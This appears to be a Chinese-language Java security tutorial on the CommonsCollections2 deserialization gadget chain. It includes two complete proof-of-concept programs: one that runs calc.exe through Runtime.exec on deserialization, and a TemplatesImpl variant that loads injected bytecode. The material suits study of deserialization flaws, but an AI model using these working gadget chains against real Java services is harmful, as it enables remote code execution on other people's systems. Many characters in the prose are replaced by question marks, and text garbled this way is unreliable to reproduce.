Java安全之CC2
前言
由于在2015年底commons-collections反序列化利?链被提出时,Apache Commons Collections有以下两个分?版本:
-
commons-collections:commons-collections
-
org.apache.commons:commons-collections4
可?,groupId和artifactId都变了。前者是Commons Collections?的版本包,当时版本号是3.2.1;后 者是官?在2013年推出的4版本,当时版本号是4.0。
官?认为旧的commons-collections有?些架构和API设计上的问题,但修复这些问题,会产??量不能 向前兼容的改动。所以,commons-collections4不再认为是?个?来替换commons-collections的新版 本,?是?个新的包,两者的命名空间不冲突,因此可以共存在同?个项?中。 那么很?然有个问题,既然3.2.1中存在反序列化利?链,那么4.0版本是否存在呢?
commons-collections4的改动
因为这?者可以共存,所以我可以将两个包安装到同?个项?中进??较:
commons-collections
commons-collections
3.2.1
org.apache.commons
commons-collections4
4.0
因为?的Gadget中依赖的包名都是org.apache.commons.collections ,?新的包名已经变 了,是org.apache.commons.collections4 。 我们?已经熟悉的CC6利?链做个例?,我们直接把代码拷??遍,然后将所import org.apache.commons.collections.* 改成 import org.apache.commons.collections4.* 。 此时IDE爆出了?个错误,原因是LazyMap.decorate这个?法没了:
看下decorate的定义,?常简单:
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
这个?法不过就是LazyMap构造函数的?个包装,?在4中其实只是改了个名字叫lazyMap
public static LazyMap lazyMap(final Map map, final
Transformer<? super K, ? extends V> factory) {
return new LazyMap(map, factory);
}
所以,我们将Gadget中出错的代码换?下名字:
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
同理,之前的CC1,CC3利用链都可以在commonscollections4中正常使用
commons-collections之所以有许多利?链,除了因为其使?量?,技术上的原因是其 中包含了?些可以执?任意?法的Transformer。所以在commons-collections中找Gadget的过 程,实际上可以简化为,找?条从 Serializable#readObject()?法到 Transformer#transform()?法的调?链。
CC2
其中两个关键类:
- java.util.PriorityQueue -
- org.apache.commons.collections4.comparators.TransformingComparator
java.util.PriorityQueue是?个有??readObject()?法的类:
org.apache.commons.collections4.comparators.TransformingComparator 中有调 ?transform()?法的函数:
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
所以CC2实际就是?条从 PriorityQueue到TransformingComparator的利?链
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
关于 PriorityQueue 这个数据结构的具体原理,可以参考这篇?章:
开始编写POC,?先,还是创建Transformer:
Transformer[] fakeTransformers = new Transformer[] {
new ConstantTransformer(1)};
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new String[]{"calc.exe"}
)};
Transformer chain = new ChainedTransformer(transformers);
再创建?个TransformingComparator,传?我们的Transformer
Comparator comparator = new TransformingComparator(chain)
实例化PriorityQueue对象,第?个参数是初始化时的??,?少需要2个元素才会触发排序和?较, 所以是2;第?个参数是?较时的Comparator,传?前?实例化的comparator
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
后?随便添加了2个数字进去,这?可以传??null的任意对象,因为我们的Transformer是忽略传?参数的。 最后,将真正的恶意Transformer设置上,
setFieldValue(transformerChain, "iTransformers", transformers)
完整poc如下
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
public class CC2 {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
Transformer[] fakeTransformers = new Transformer[]{
new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}
)};
Transformer chain = new ChainedTransformer(fakeTransformers);
Comparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(chain, "iTransformers", transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
CC2改进
前边说过了利?TemplatesImpl可以构造出?Transformer数组的利?链,可以将CC2这条链也进行改造。
public class CommonsCollections2TemplatesImpl {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
protected static byte[] getBytescode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(evil.EvilTemplatesImpl.class.getName());
return clazz.toBytecode();
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);
setFieldValue(transformer, "iMethodName", "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}